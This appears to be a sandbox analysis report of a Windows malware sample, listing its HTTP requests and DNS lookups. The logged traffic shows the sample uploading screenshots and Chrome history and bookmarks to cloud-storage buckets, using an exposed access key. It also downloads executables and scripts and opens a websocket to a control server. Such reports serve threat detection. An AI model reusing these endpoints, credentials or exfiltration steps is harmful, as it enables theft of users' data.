SHA256:	75e03f40a088903579a436c0d8e8bc3d0d71cf2942ad793cc948f36866a2e1ad
Date Analysed:	Jul 12, 2021
File type:	Win 32 executable
Version:	4.0.3
Environment:	Windows 7 64-bit Operating System

Network

HTTP conversation

[PUT] http://pythonlabs.oss-accelerate.aliyuncs.com/V2%2F93446a%2Fscreenshot%2F1626096094.233634_34873.png
- Request Header
  - Content-Length: 217232
    PUT /V2%2F93446a%2Fscreenshot%2F1626096094.233634_34873.png HTTP/1.1
    Accept-Encoding: identity
    Connection: keep-alive
    Accept: */*
    User-Agent: aliyun-sdk-python/2.2.1(Windows/7/AMD64;3.7.3)
    Host: pythonlabs.oss-accelerate.aliyuncs.com
    date: Mon, 12 Jul 2021 13:21:34 GMT
    Content-Type: image/png
    authorization: OSS LTAI5t6cMiSq6jkQFU2JaHYS:iZfwmtIRuupTSYZ71kbvuzlE/AU=
- Status
  - 200
- Response Header
  - Content-Length: 0
    HTTP/1.1 200 OK
    x-oss-hash-crc64ecma: 10484964937578669687
    Server: AliyunOSS
    x-oss-server-time: 11
    Connection: keep-alive
    ETag: "0CD15B8B6041F9E9FBC8D2F20307CB55"
    x-oss-request-id: 60EC41DE43CB4D348A462D80
    Date: Mon, 12 Jul 2021 13:21:35 GMT
    Content-MD5: DNFbi2BB+en7yNLyAwfLVQ==

[GET] http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/Online.txt
- Request Header
  - GET /res/Online.txt HTTP/1.1
    Host: flashdownloadserver.oss-cn-hongkong.aliyuncs.com
    Connection: close
    Accept-Encoding: identity
    User-Agent: Python-urllib/3.7
- Status
  - 200
- Response body filetype
  - text/x-python
- Response Header
  - Content-Length: 2262
    x-oss-server-time: 2
    HTTP/1.1 200 OK
    Vary: Origin
    x-oss-object-type: Normal
    x-oss-storage-class: Standard
    Server: AliyunOSS
    x-oss-hash-crc64ecma: 15175188022763576870
    Last-Modified: Sun, 03 Jan 2021 15:17:05 GMT
    Connection: close
    ETag: "1F7FCDAF96D19733CAFE03F3E4460AE7"
    x-oss-request-id: 60EC41989DB5783538BD4F80
    Date: Mon, 12 Jul 2021 13:20:24 GMT
    Content-MD5: H3/Nr5bRlzPK/gPz5EYK5w==
    Content-Type: text/plain
    Accept-Ranges: bytes

[POST] http://ocsp.msocsp.com/
- Request Header
  - Content-Length: 86
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    POST / HTTP/1.1
    Connection: keep-alive
    Accept: */*
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
    Host: ocsp.msocsp.com
    Content-Type: application/ocsp-request
- Status
  - 200
- Response body filetype
  - application/octet-stream
- Response Header
  - Content-Length: 1742
    Age: 3502
    X-Cache: HIT
    HTTP/1.1 200 OK
    Expires: Fri, 16 Jul 2021 11:54:23 GMT
    Vary: Accept-Encoding
    Server: cloudflare
    Last-Modified: Mon, 12 Jul 2021 11:54:23 GMT
    Connection: keep-alive
    ETag: "8320e892699620ce5a358cf528f8c475de640867"
    Accept-Ranges: bytes
    Cache-Control: public, no-transform, must-revalidate, s-maxage=3600
    Date: Mon, 12 Jul 2021 13:20:48 GMT
    CF-RAY: 66da922da9640e74-BOM
    Content-Type: application/ocsp-response
    CF-Cache-Status: HIT

[GET] http://d.pythonlabs.net/socket.io/?transport=websocket&EIO=3&sid=86787aa8f9424daf83f46aba202176de&t=1626096084.6552172
- Request Header
  - Origin: http://d.pythonlabs.net:39999
    Upgrade: websocket
    Sec-WebSocket-Version: 13
    Connection: upgrade
    Sec-WebSocket-Key: aplCaYM04ahvFVddb1ARkA==
    Host: d.pythonlabs.net:39999
    Cookie: io=86787aa8f9424daf83f46aba202176de
    GET /socket.io/?transport=websocket&EIO=3&sid=86787aa8f9424daf83f46aba202176de&t=1626096084.6552172 HTTP/1.1
- Status
  - 101
- Response Header
  - Connection: Upgrade
    Upgrade: websocket
    HTTP/1.1 101 Switching Protocols
    Sec-WebSocket-Accept: vjvl7xTvVmyLLlp70H8ts3lIACM=

[GET] http://softres.oss-accelerate.aliyuncs.com/ShellExperienceHost.zip
- Request Header
  - GET /ShellExperienceHost.zip HTTP/1.1
    host: softres.oss-accelerate.aliyuncs.com
    te: trailers
    connection: close, TE
    user-agent: LuaSocket 2.0.2
- Status
  - 200
- Response body filetype
  - application/zip
- Response Header
  - Content-Length: 16124619
    Content-Disposition: attachment
    x-oss-server-time: 75
    x-oss-force-download: true
    HTTP/1.1 200 OK
    x-oss-object-type: Normal
    x-oss-storage-class: Standard
    Server: AliyunOSS
    x-oss-hash-crc64ecma: 5738892971117464177
    Last-Modified: Wed, 16 Jun 2021 10:22:41 GMT
    Connection: close
    ETag: "55A7B6D67A84D10B92E16D895836F217"
    x-oss-request-id: 60EC4142DCC28B345F7B223A
    Date: Mon, 12 Jul 2021 13:18:58 GMT
    Content-MD5: Vae21nqE0QuS4W2JWDbyFw==
    Content-Type: application/zip
    Accept-Ranges: bytes

[POST] http://ocsp.pki.goog/gts1o1core
- Request Header
  - Content-Length: 83
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Accept: */*
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
    Host: ocsp.pki.goog
    Content-Type: application/ocsp-request
    POST /gts1o1core HTTP/1.1
- Status
  - 200
- Response body filetype
  - application/octet-stream
- Response Header
  - Content-Length: 471
    X-XSS-Protection: 0
    HTTP/1.1 200 OK
    Server: ocsp_responder
    Cache-Control: public, max-age=86400
    Date: Mon, 12 Jul 2021 13:20:56 GMT
    X-Frame-Options: SAMEORIGIN
    Content-Type: application/ocsp-response

[GET] http://detectportal.firefox.com/success.txt
- Request Header
  - GET /success.txt HTTP/1.1
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Accept: */*
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
    Host: detectportal.firefox.com
    Pragma: no-cache
    Cache-Control: no-cache
- Status
  - 200
- Response body filetype
  - text/plain
- Response Header
  - Content-Length: 8
    Via: 1.1 google
    HTTP/1.1 200 OK
    Server: nginx
    Cache-Control: public, must-revalidate, max-age=0, s-maxage=86400
    Date: Sun, 11 Jul 2021 16:33:10 GMT
    Content-Type: text/plain
    Age: 74856

[GET] http://d.pythonlabs.net/socket.io/?transport=polling&EIO=3&t=1626096081.4416115
- Request Header
  - Host: d.pythonlabs.net:39999
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Accept: */*
    User-Agent: python-requests/2.25.1
    GET /socket.io/?transport=polling&EIO=3&t=1626096081.4416115 HTTP/1.1
- Status
  - 200
- Response body filetype
  - image/x-gem
- Response Header
  - Content-Length: 119
    Set-Cookie: io=86787aa8f9424daf83f46aba202176de; path=/; SameSite=Lax
    HTTP/1.1 200 OK
    Access-Control-Allow-Credentials: true
    Date: Mon, 12 Jul 2021 13:21:24 GMT
    Content-Type: application/octet-stream

[GET] http://softres.oss-accelerate.aliyuncs.com/Silverlight.exe
- Request Header
  - GET /Silverlight.exe HTTP/1.1
    host: softres.oss-accelerate.aliyuncs.com
    accept: */*
- Status
  - 200
- Response body filetype
  - application/x-dosexec
- Response Header
  - Content-Length: 7023448
    Content-Disposition: attachment
    x-oss-server-time: 2
    x-oss-force-download: true
    HTTP/1.1 200 OK
    x-oss-object-type: Normal
    x-oss-storage-class: Standard
    Server: AliyunOSS
    x-oss-hash-crc64ecma: 11733565972356082941
    Last-Modified: Wed, 16 Jun 2021 15:23:35 GMT
    Connection: keep-alive
    ETag: "7BAEBABAB6F0CA7B143068FDC17DFA41"
    x-oss-request-id: 60EC41F5EDBE2668A44CBCF0
    Date: Mon, 12 Jul 2021 13:21:57 GMT
    Content-MD5: e666urbwynsUMGj9wX36QQ==
    Content-Type: application/octet-stream
    Accept-Ranges: bytes

[GET] http://pythonlabs.oss-accelerate.aliyuncs.com/sc.exe
- Request Header
  - Accept-Encoding: gzip, deflate
    GET /sc.exe HTTP/1.1
    Connection: keep-alive
    Accept: */*
    User-Agent: python-requests/2.25.1
    Host: pythonlabs.oss-accelerate.aliyuncs.com
- Status
  - 200
- Response body filetype
  - application/x-dosexec
- Response Header
  - Content-Length: 53760
    Content-Disposition: attachment
    x-oss-server-time: 26
    x-oss-force-download: true
    HTTP/1.1 200 OK
    x-oss-object-type: Normal
    x-oss-storage-class: Standard
    Server: AliyunOSS
    x-oss-hash-crc64ecma: 1852835276839765876
    Last-Modified: Fri, 18 Jun 2021 11:51:49 GMT
    Connection: keep-alive
    ETag: "75FB0AECD2CFEF2210495A4F3CAB5BCF"
    x-oss-request-id: 60EC41D543CB4D348A461451
    Date: Mon, 12 Jul 2021 13:21:25 GMT
    Content-MD5: dfsK7NLP7yIQSVpPPKtbzw==
    Content-Type: application/octet-stream
    Accept-Ranges: bytes

[PUT] http://pythonlabs.oss-accelerate.aliyuncs.com/V2%2F93446a%2FChrome%2FHistory%2F1626096085.762819_History
- Request Header
  - Content-Length: 151552
    Accept-Encoding: identity
    PUT /V2%2F93446a%2FChrome%2FHistory%2F1626096085.762819_History HTTP/1.1
    Connection: keep-alive
    Accept: */*
    User-Agent: aliyun-sdk-python/2.2.1(Windows/7/AMD64;3.7.3)
    Host: pythonlabs.oss-accelerate.aliyuncs.com
    date: Mon, 12 Jul 2021 13:21:25 GMT
    authorization: OSS LTAI5t6cMiSq6jkQFU2JaHYS:mjAV6NHB3Ca69APC1n8PkDcMqbs=
- Status
  - 200
- Response Header
  - Content-Length: 0
    HTTP/1.1 200 OK
    x-oss-hash-crc64ecma: 2350792546422969500
    Server: AliyunOSS
    x-oss-server-time: 14
    Connection: keep-alive
    ETag: "BA5CAC002EC33D921C022BC81B0D1476"
    x-oss-request-id: 60EC41D6DCC28B345F7CD796
    Date: Mon, 12 Jul 2021 13:21:26 GMT
    Content-MD5: ulysAC7DPZIcAivIGw0Udg==

[GET] http://g.ceipmsn.com/8SE/44?MI=B32446A5AD46437D80CA7ABB0AE0E2A7&LV=1.7.72.0&OS=6.1.7601.1&TE=24&TV=isSL5K%7cpkDefaultPack%7crt1%7ctmen-us%7chdGC90.0.4430.212%2c1%7csdGC90.0.4430.212%2c1%7cseGC90.0.4430.212%2c1%7chpGC90.0.4430.212%2c1%7ccd2021-07-12%7cct13:20:40:440
- Request Header
  - Host: g.ceipmsn.com
    GET /8SE/44?MI=B32446A5AD46437D80CA7ABB0AE0E2A7&LV=1.7.72.0&OS=6.1.7601.1&TE=24&TV=isSL5K%7cpkDefaultPack%7crt1%7ctmen-us%7chdGC90.0.4430.212%2c1%7csdGC90.0.4430.212%2c1%7cseGC90.0.4430.212%2c1%7chpGC90.0.4430.212%2c1%7ccd2021-07-12%7cct13:20:40:440 HTTP/1.1
    Cache-Control: no-cache
    User-Agent: DefaultPack
- Status
  - 200
- Response Header
  - Date: Mon, 12 Jul 2021 13:20:46 GMT
    HTTP/1.1 200 OK
    Content-Length: 0

[GET] http://detectportal.firefox.com/success.txt?ipv4
- Request Header
  - Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Accept: */*
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
    Host: detectportal.firefox.com
    Pragma: no-cache
    Cache-Control: no-cache
    GET /success.txt?ipv4 HTTP/1.1
- Status
  - 200
- Response body filetype
  - text/plain
- Response Header
  - Content-Length: 8
    Via: 1.1 google
    HTTP/1.1 200 OK
    Server: nginx
    Cache-Control: public, must-revalidate, max-age=0, s-maxage=86400
    Date: Sun, 11 Jul 2021 16:33:10 GMT
    Content-Type: text/plain
    Age: 74856

[GET] http://g.ceipmsn.com/8SE/44?MI=B32446A5AD46437D80CA7ABB0AE0E2A7&LV=1.7.72.0&OS=6.1.7601.1&TE=23&TV=isSL5K%7cpkDefaultPack%7crt1%7ctmen-us%7chdMF88.0.1%20(x64%20en-US)%2c1%7csdMF88.0.1%20(x64%20en-US)%2c1%7cseMF88.0.1%20(x64%20en-US)%2c1%7chpMF88.0.1%20(x64%20en-US)%2c1%7ccd2021-07-12%7cct13:20:40:440
- Request Header
  - GET /8SE/44?MI=B32446A5AD46437D80CA7ABB0AE0E2A7&LV=1.7.72.0&OS=6.1.7601.1&TE=23&TV=isSL5K%7cpkDefaultPack%7crt1%7ctmen-us%7chdMF88.0.1%20(x64%20en-US)%2c1%7csdMF88.0.1%20(x64%20en-US)%2c1%7cseMF88.0.1%20(x64%20en-US)%2c1%7chpMF88.0.1%20(x64%20en-US)%2c1%7ccd2021-07-12%7cct13:20:40:440 HTTP/1.1
    Cache-Control: no-cache
    Host: g.ceipmsn.com
    User-Agent: DefaultPack
- Status
  - 200
- Response Header
  - Date: Mon, 12 Jul 2021 13:20:40 GMT
    HTTP/1.1 200 OK
    Content-Length: 0

[POST] http://ocsp.digicert.com/
- Request Header
  - Content-Length: 83
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    POST / HTTP/1.1
    Connection: keep-alive
    Accept: */*
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
    Host: ocsp.digicert.com
    Content-Type: application/ocsp-request
- Status
  - 200
- Response body filetype
  - application/octet-stream
- Response Header
  - Content-Length: 471
    X-Cache: HIT
    Age: 6514
    Expires: Wed, 14 Jul 2021 12:54:58 GMT
    Server: ECS (tir/CDD4)
    Last-Modified: Mon, 12 Jul 2021 11:06:24 GMT
    Etag: "60ec2230-1d7"
    Accept-Ranges: bytes
    Cache-Control: max-age=171250
    Date: Mon, 12 Jul 2021 13:20:48 GMT
    Content-Type: application/ocsp-response
    HTTP/1.1 200 OK

[GET] http://g.msn.com/1ewenusDefaultPack/SLV5_DefaultPack
- Request Header
  - GET /1ewenusDefaultPack/SLV5_DefaultPack HTTP/1.1
    Host: g.msn.com
    Cookie: PreferencesMsn=eyJIb21lUGFnZSI6eyJTdHJpcGVzIjpbXSwiTWVTdHJpcGVNb2R1bGVzIjpbXSwiTWFya2V0Q29uZmlndXJhdGlvbiI6eyJNYXJrZXQiOiJlbi1pbiIsIlN1cHByZXNzUHJvbXB0IjpmYWxzZSwiUHJlZmVycmVkTGFuZ3VhZ2VDb2RlIjoiZW4tdXMiLCJDb3VudHJ5Q29kZSI6IklOIn19LCJFeHBpcnlUaW1lIjo2Mzc4ODE5NTU1NTY3MDc1MTYsIlZlcnNpb24iOjF90; marketPref=en-in; _EDGE_V=1
    User-Agent: BingService
- Status
  - 302
- Response Header
  - Content-Length: 0
    Expires: Fri, 01 Jan 1990 00:00:00 GMT
    Server: Microsoft-IIS/10.0
    HTTP/1.1 302 Found
    Location: https://download.microsoft.com/download/0/6/A/06AB8895-E757-4217-9499-33C59E843DAF/ISV/SL5M/DefaultPack.EXE
    Pragma: no-cache
    Cache-Control: no-cache, must-revalidate
    Date: Mon, 12 Jul 2021 13:18:39 GMT
    Access-Control-Allow-Origin: *

[GET] http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/Schedule.lua
- Request Header
  - host: lualibs.oss-cn-hongkong.aliyuncs.com
    te: trailers
    connection: close, TE
    GET /x86/Schedule.lua HTTP/1.1
    user-agent: LuaSocket 2.0.2

[GET] http://lualibs.oss-accelerate.aliyuncs.com/x86/pngquant.exe
- Request Header
  - Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Accept: */*
    User-Agent: python-requests/2.25.1
    Host: lualibs.oss-accelerate.aliyuncs.com
    GET /x86/pngquant.exe HTTP/1.1
- Status
  - 200
- Response body filetype
  - application/x-dosexec
- Response Header
  - Content-Length: 768512
    Content-Disposition: attachment
    x-oss-server-time: 37
    x-oss-force-download: true
    HTTP/1.1 200 OK
    x-oss-object-type: Normal
    x-oss-storage-class: Standard
    Server: AliyunOSS
    x-oss-hash-crc64ecma: 16440419397537210392
    Last-Modified: Sun, 20 Jun 2021 15:24:40 GMT
    Connection: keep-alive
    ETag: "44F3F362A182B6DB774A889F72D5D093"
    x-oss-request-id: 60EC41D6DCC28B345F7CD937
    Date: Mon, 12 Jul 2021 13:21:26 GMT
    Content-MD5: RPPzYqGCttt3SoifctXQkw==
    Content-Type: application/octet-stream
    Accept-Ranges: bytes

[GET] http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?7c9c1c3bb436691c
- Request Header
  - Connection: Keep-Alive
    User-Agent: Microsoft-CryptoAPI/6.1
    Host: ctldl.windowsupdate.com
    Accept: */*
    GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?7c9c1c3bb436691c HTTP/1.1
- Status
  - 200
- Response body filetype
  - application/vnd.ms-cab-compressed
- Response Header
  - X-CCC: SG
    Content-Length: 61020
    X-CID: 3
    X-Powered-By: ASP.NET
    HTTP/1.1 200 OK
    Expires: Mon, 12 Jul 2021 13:24:07 GMT
    Server: Microsoft-IIS/10.0
    Last-Modified: Fri, 11 Jun 2021 21:17:16 GMT
    Connection: keep-alive
    ETag: "0d6542775fd71:0"
    Accept-Ranges: bytes
    Cache-Control: public, max-age=900
    Date: Mon, 12 Jul 2021 13:09:07 GMT
    Content-Type: application/vnd.ms-cab-compressed
    Age: 571
    MSREGION: APAC

[GET] http://lualibs.oss-accelerate.aliyuncs.com/x86/ScheduleTask.dll
- Request Header
  - connection: close, TE
    host: lualibs.oss-accelerate.aliyuncs.com
    te: trailers
    GET /x86/ScheduleTask.dll HTTP/1.1
    user-agent: LuaSocket 2.0.2
- Status
  - 200
- Response body filetype
  - application/x-dosexec
- Response Header
  - Content-Length: 136704
    Content-Disposition: attachment
    x-oss-server-time: 74
    x-oss-force-download: true
    HTTP/1.1 200 OK
    x-oss-object-type: Normal
    x-oss-storage-class: Standard
    Server: AliyunOSS
    x-oss-hash-crc64ecma: 2695529848333191165
    Last-Modified: Thu, 17 Jun 2021 13:28:13 GMT
    Connection: close
    ETag: "565E85C506595D312521995D631C2650"
    x-oss-request-id: 60EC414043CB4D348A445C6D
    Date: Mon, 12 Jul 2021 13:18:56 GMT
    Content-MD5: Vl6FxQZZXTElIZldYxwmUA==
    Content-Type: application/octet-stream
    Accept-Ranges: bytes

[GET] http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/1-CS-443.lua
- Request Header
  - te: trailers
    host: lualibs.oss-cn-hongkong.aliyuncs.com
    GET /x86/1-CS-443.lua HTTP/1.1
    connection: close, TE
    user-agent: LuaSocket 2.0.2

[GET] http://flashdownloadserver.oss-accelerate.aliyuncs.com/r2/big2.py
- Request Header
  - GET /r2/big2.py HTTP/1.1
    Host: flashdownloadserver.oss-accelerate.aliyuncs.com
    Connection: close
    Accept-Encoding: identity
    User-Agent: Python-urllib/3.7
- Status
  - 200
- Response body filetype
  - text/x-python
- Response Header
  - Content-Length: 106274
    Content-Disposition: attachment
    x-oss-server-time: 19
    x-oss-force-download: true
    HTTP/1.1 200 OK
    Vary: Origin
    x-oss-object-type: Normal
    x-oss-storage-class: Standard
    Server: AliyunOSS
    x-oss-hash-crc64ecma: 3466445800268724947
    Last-Modified: Thu, 24 Jun 2021 12:18:56 GMT
    Connection: close
    ETag: "5E1867B9AF45F2F02E60F94A8A114BE6"
    x-oss-request-id: 60EC4195EDBE2668A44BA059
    Date: Mon, 12 Jul 2021 13:20:21 GMT
    Content-MD5: Xhhnua9F8vAuYPlKihFL5g==
    Content-Type: text/x-python
    Accept-Ranges: bytes

[GET] http://g.ceipmsn.com/8SE/44?MI=B32446A5AD46437D80CA7ABB0AE0E2A7&LV=1.7.72.0&OS=6.1.7601.1&TE=22&TV=isSL5K%7cpkDefaultPack%7crt2%7ctmen-us%7cdbMF88.0.1%20(x64%20en-US)%7chdIE8.0.7601.17514%2c2*MF88.0.1%20(x64%20en-US)%2c1*GC90.0.4430.212%2c1%7csdIE8.0.7601.17514%2c2*MF88.0.1%20(x64%20en-US)%2c1*GC90.0.4430.212%2c1%7cpo4%7cseMF88.0.1%20(x64%20en-US)%2c1*GC90.0.4430.212%2c1%7cbu1%7cfc4%7chpMF88.0.1%20(x64%20en-US)%2c1*GC90.0.4430.212%2c1%7cpf%7cdfDHP%2cMF88.0.1%20(x64%20en-US)%2c1*DSE%2cMF88.0.1%20(x64%20en-US)%2c1*DHP%2cGC90.0.4430.212%2c1*DSE%2cGC90.0.4430.212%2c1%7clc%7cld%7clt%7ccd2021-07-12%7cct13:20:40:440%7cabIE%2cMF%2cGC%7csbIE%2cMF%2cGC%2cME%2cAS%7cio0%7cir%7cui0%7crc0%7cbs1
- Request Header
  - Host: g.ceipmsn.com
    Cache-Control: no-cache
    GET /8SE/44?MI=B32446A5AD46437D80CA7ABB0AE0E2A7&LV=1.7.72.0&OS=6.1.7601.1&TE=22&TV=isSL5K%7cpkDefaultPack%7crt2%7ctmen-us%7cdbMF88.0.1%20(x64%20en-US)%7chdIE8.0.7601.17514%2c2*MF88.0.1%20(x64%20en-US)%2c1*GC90.0.4430.212%2c1%7csdIE8.0.7601.17514%2c2*MF88.0.1%20(x64%20en-US)%2c1*GC90.0.4430.212%2c1%7cpo4%7cseMF88.0.1%20(x64%20en-US)%2c1*GC90.0.4430.212%2c1%7cbu1%7cfc4%7chpMF88.0.1%20(x64%20en-US)%2c1*GC90.0.4430.212%2c1%7cpf%7cdfDHP%2cMF88.0.1%20(x64%20en-US)%2c1*DSE%2cMF88.0.1%20(x64%20en-US)%2c1*DHP%2cGC90.0.4430.212%2c1*DSE%2cGC90.0.4430.212%2c1%7clc%7cld%7clt%7ccd2021-07-12%7cct13:20:40:440%7cabIE%2cMF%2cGC%7csbIE%2cMF%2cGC%2cME%2cAS%7cio0%7cir%7cui0%7crc0%7cbs1 HTTP/1.1
    User-Agent: DefaultPack
- Status
  - 200
- Response Header
  - Date: Mon, 12 Jul 2021 13:20:40 GMT
    HTTP/1.1 200 OK
    Content-Length: 0

[PUT] http://pythonlabs.oss-accelerate.aliyuncs.com/V2%2F93446a%2FChrome%2FBookmarks%2F1626096085.7940192_Bookmarks
- Request Header
  - PUT /V2%2F93446a%2FChrome%2FBookmarks%2F1626096085.7940192_Bookmarks HTTP/1.1
    Content-Length: 2000
    Accept-Encoding: identity
    Connection: keep-alive
    Accept: */*
    User-Agent: aliyun-sdk-python/2.2.1(Windows/7/AMD64;3.7.3)
    Host: pythonlabs.oss-accelerate.aliyuncs.com
    date: Mon, 12 Jul 2021 13:21:25 GMT
    authorization: OSS LTAI5t6cMiSq6jkQFU2JaHYS:J9mvOxJwzLlPuH6TCsTqv+Zeaio=
- Status
  - 200
- Response Header
  - Content-Length: 0
    HTTP/1.1 200 OK
    x-oss-hash-crc64ecma: 12288415418820466383
    Server: AliyunOSS
    x-oss-server-time: 6
    Connection: keep-alive
    ETag: "46B05C74710FA13652429246CBB306CE"
    x-oss-request-id: 60EC41D6114ABC2C4986D418
    Date: Mon, 12 Jul 2021 13:21:26 GMT
    Content-MD5: RrBcdHEPoTZSQpJGy7MGzg==

[POST] http://ocsp.pki.goog/gts1c3
- Request Header
  - POST /gts1c3 HTTP/1.1
    Content-Length: 83
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Accept: */*
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
    Host: ocsp.pki.goog
    Content-Type: application/ocsp-request
- Status
  - 200
- Response body filetype
  - application/octet-stream
- Response Header
  - Content-Length: 471
    X-XSS-Protection: 0
    HTTP/1.1 200 OK
    Server: ocsp_responder
    Cache-Control: public, max-age=86400
    Date: Mon, 12 Jul 2021 13:20:48 GMT
    X-Frame-Options: SAMEORIGIN
    Content-Type: application/ocsp-response

[GET] http://whois.pconline.com.cn/ipJson.jsp?json=true
- Request Header
  - Host: whois.pconline.com.cn
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Accept: */*
    User-Agent: python-requests/2.25.1
    GET /ipJson.jsp?json=true HTTP/1.1
- Status
  - 200
- Response body filetype
  - application/gzip
- Response Header
  - X-Via: 1.1 PSxgHK6wy101:7 (Cdn Cache Server V2.0), 1.1 PS-000-01R4Z141:8 (Cdn Cache Server V2.0)
    Content-Encoding: gzip
    Transfer-Encoding: chunked
    HTTP/1.1 200 OK
    Server: Tengine/2.1.2
    X-Ws-Request-Id: 60ec41d0_PS-000-01h4u139_21891-3892
    Connection: keep-alive
    Date: Mon, 12 Jul 2021 13:21:20 GMT
    Content-Type: text/html; charset=GBK

[GET] http://www.msftncsi.com/ncsi.txt
- Request Header
  - GET /ncsi.txt HTTP/1.1
    Connection: Close
    Host: www.msftncsi.com
    User-Agent: Microsoft NCSI
- Status
  - 200
- Response body filetype
  - text/plain
- Response Header
  - Content-Length: 14
    HTTP/1.1 200 OK
    Connection: close
    Cache-Control: max-age=30, must-revalidate
    Date: Mon, 12 Jul 2021 13:18:07 GMT
    Content-Type: text/plain

DNS Resolutions

ap-south-1.oss-acc.aliyuncs.com
- ["147.139.17.8", "147.139.17.8", "147.139.17.8", "147.139.17.8", "147.139.17.8", "147.139.17.8", "147.139.17.8", "147.139.17.8"]

googlehosted.l.googleusercontent.com
- ["142.250.192.161"]

whois.pconline.com.cn
- []

download.microsoft.com
- []

firefox.settings.services.mozilla.com
- ["13.33.144.112", "13.33.144.98", "13.33.144.2", "13.33.144.30", "13.33.144.30", "13.33.144.2", "13.33.144.98", "13.33.144.112"]

example.org
- ["93.184.216.34", "93.184.216.34"]

time3.cloud.tencent.com
- ["119.28.229.70", "119.28.229.70"]

accounts.google.com
- ["142.250.195.173", "142.250.195.173", "142.250.195.173", "142.250.195.173", "142.250.195.173", "142.250.195.173", "142.250.195.173", "142.250.195.173", "142.250.195.173"]

clientservices.googleapis.com
- ["216.58.200.195"]

g.ceipmsn.com
- []

play.google.com
- ["142.250.195.110", "142.250.195.110"]

shavar.services.mozilla.com
- []

time.microsoft.akadns.net
- ["40.81.94.65"]

pythonlabs.oss-accelerate.aliyuncs.com
- []

www.mozilla.org.cdn.cloudflare.net
- ["104.18.164.34", "104.18.165.34", "104.18.164.34", "104.18.165.34"]

go.microsoft.com
- []

d2nxq2uap88usk.cloudfront.net
- ["52.84.13.34", "52.84.13.82", "52.84.13.14", "52.84.13.77", "52.84.13.34", "52.84.13.82", "52.84.13.14", "52.84.13.77"]

waws-prod-sn1-021.cloudapp.net
- ["104.214.77.221", "104.214.77.221", "104.214.77.221", "104.214.77.221", "104.214.77.221", "104.214.77.221", "104.214.77.221"]

auto.au.download.windowsupdate.com.c.footprint.net
- ["8.241.132.126", "8.241.160.254", "8.241.138.126", "8.241.143.126", "8.241.167.254"]

time.windows.com
- []

d228z91au11ukj.cloudfront.net
- ["54.192.219.24", "54.192.219.115", "54.192.219.50", "54.192.219.51", "54.192.219.24", "54.192.219.115", "54.192.219.50", "54.192.219.51"]

www.thedrive.com
- []

www.google.com
- ["142.250.195.228", "142.250.194.4", "142.250.194.4", "142.250.194.4", "142.250.194.4"]

clients2.googleusercontent.com
- []

kotaku.com
- ["151.101.2.166", "151.101.66.166", "151.101.194.166", "151.101.130.166", "151.101.130.166", "151.101.194.166", "151.101.66.166", "151.101.2.166"]

flashdownloadserver.oss-cn-hongkong.aliyuncs.com
- ["47.75.19.237"]

www.bbc.com
- []

g-msn-com-nsatc.trafficmanager.net
- ["40.81.30.101"]

ocsp.msocsp.com
- []

softres.oss-accelerate.aliyuncs.com
- []

www.msftncsi.com
- []

time-osx.g.aaplimg.com
- ["17.253.82.125", "17.253.84.123", "17.253.84.251", "17.253.82.253", "17.253.84.253"]

time1.cloud.tencent.com
- ["119.28.230.190", "119.28.230.190"]

j.sni.global.fastly.net
- ["151.101.158.132", "151.101.158.132"]

bbc.map.fastly.net
- ["151.101.156.81", "151.101.156.81"]

www.deliciousmagazine.co.uk
- ["104.22.44.77", "172.67.6.171", "104.22.45.77", "104.22.45.77", "172.67.6.171", "104.22.44.77"]

whois.pconline.com.cn.cdn20.com
- ["163.171.210.41", "163.171.199.49"]

clients2.google.com
- []

prod.balrog.prod.cloudops.mozgcp.net
- ["35.244.181.201", "35.244.181.201"]

arstechnica.com
- ["3.140.83.49", "18.116.3.221", "18.116.3.221", "3.140.83.49"]

star-mini.c10r.facebook.com
- ["157.240.23.35", "157.240.23.35"]

pipeline-incoming-prod-elb-149169523.us-west-2.elb.amazonaws.com
- ["52.43.155.197", "52.27.200.224", "44.237.104.177", "52.88.2.59", "44.239.125.99", "44.239.250.14", "34.215.46.102", "35.160.191.122", "52.43.155.197", "52.27.200.224", "44.237.104.177", "52.88.2.59", "44.239.125.99", "44.239.250.14", "34.215.46.102", "35.160.191.122", "52.43.155.197", "52.27.200.224", "44.237.104.177", "52.88.2.59", "44.239.125.99", "44.239.250.14", "34.215.46.102", "35.160.191.122", "52.43.155.197", "52.27.200.224", "44.237.104.177", "52.88.2.59", "44.239.125.99", "44.239.250.14", "34.215.46.102", "35.160.191.122", "52.43.155.197", "52.27.200.224", "44.237.104.177", "52.88.2.59", "44.239.125.99", "44.239.250.14", "34.215.46.102", "35.160.191.122", "52.12.55.135", "52.38.70.232", "52.27.200.224", "44.239.250.14", "52.40.184.35", "52.42.129.205", "34.215.46.102", "52.13.236.190", "52.12.55.135", "52.38.70.232", "52.27.200.224", "44.239.250.14", "52.40.184.35", "52.42.129.205", "34.215.46.102", "52.13.236.190", "52.12.55.135", "52.38.70.232", "52.27.200.224", "44.239.250.14", "52.40.184.35", "52.42.129.205", "34.215.46.102", "52.13.236.190"]

nautil.us
